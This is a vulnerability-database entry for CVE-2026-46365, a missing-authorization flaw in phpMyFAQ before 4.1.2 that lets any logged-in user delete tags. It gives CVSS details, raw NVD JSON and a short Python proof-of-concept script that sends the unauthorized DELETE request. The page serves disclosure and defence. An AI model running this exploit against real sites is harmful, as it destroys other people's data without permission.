Security Vulnerability Report
中文
CVE-2026-46365 CVSS 5.4 MEDIUM

CVE-2026-46365

Published: 2026-05-15 19:17:04
Last Modified: 2026-05-15 22:16:57

Description

phpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

phpMyFAQ < 4.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL vulnerable endpoint # Replace {target} with the actual domain and {tagId} with the target tag ID target_url = "http://{target}/admin/api/content/tags/{tagId}" # Valid session cookie obtained after logging in as a regular user # This simulates the low-privilege authentication requirement (PR:L) cookies = { "phpMyFAQ_Session": "valid_user_session_cookie_value" } headers = { "User-Agent": "Mozilla/5.0 (Vulnerability-Scanner)" } try: # Send DELETE request to exploit the missing authorization response = requests.delete(target_url, cookies=cookies, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Tag deleted.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-46365", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:17:03.860", "lastModified": "2026-05-15T22:16:56.530", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7cx3-2qx2-3g6w", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/phpmyfaq-missing-authorization-in-tag-deletion-endpoint", "source": "[email protected]"}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7cx3-2qx2-3g6w", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}